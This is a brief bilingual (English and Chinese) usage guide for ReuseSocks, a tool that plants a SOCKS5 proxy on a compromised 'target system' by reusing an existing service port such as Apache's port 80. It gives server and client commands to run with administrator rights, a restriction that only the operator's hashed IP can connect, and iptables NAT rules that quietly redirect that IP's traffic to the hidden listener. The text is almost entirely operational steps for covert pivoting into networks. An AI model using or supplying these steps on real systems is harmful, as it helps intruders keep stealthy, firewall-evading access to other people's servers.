ReuseSocks_Server.exe [lhost] [reuse prot] [md5(myip)]
myip is we link to its md5(IP)
it cannot reuse service port like IIS,RDP, but can reuse Mysql,Apache and so on
Use it carefully and bear the consequences.
开启端口复用SOCKS5
目标系统执行服务端，注意使用管理员权限执行
C:\Users\Desktop>ReuseSocks_Server.exe [lhost]=192.168.10.161 [reuse prot]=80 [md5(myip)]=MD5(192.168.10.1)
C:\Users\Desktop>ReuseSocks_Server.exe 192.168.10.161 80 1bac027cf67efcc4d10125724221fc48
本地执行客户端
C:\Users\Desktop>ReuseSocks_client.exe -h
Usage of ReuseSocks_client.exe:
-listen string
listen loacl scoks5 (default "0.0.0.0:1080")
-remote string
Forward Remote Server eg: 192.168.0.1:80
连接目标（默认监听本地1080端口）
C:\Users\Desktop>ReuseSocks_client.exe -remote 192.168.10.161:80
配置socks5代理为:127.0.0.1:1080即可
注意事项
当服务端启动之后请2分钟之内使用配置的出口IP(myip)访问一下,否则服务端会退出。
默认一个小时服务端程序退出，以免未知原因导致业务端口不能访问。

开启端口复用
添加
将来自[you_ip] IP地址的TCP流量，如果目标端口是80，将其重定向到端口ReuseSocks_Server监听的端口
sudo iptables -t nat -A PREROUTING -p tcp -s [you_ip] --dport 80[web端口] -j REDIRECT --to-port [ReuseSocks_Server监听的端口]
删除
sudo iptables -t nat -D PREROUTING -p tcp -s [you_ip] --dport 80[web端口] -j REDIRECT --to-port [ReuseSocks_Server监听的端口]
eg:
sudo iptables -t nat -A PREROUTING -p tcp -s 192.168.10.1 --dport 80 -j REDIRECT --to-port 1081
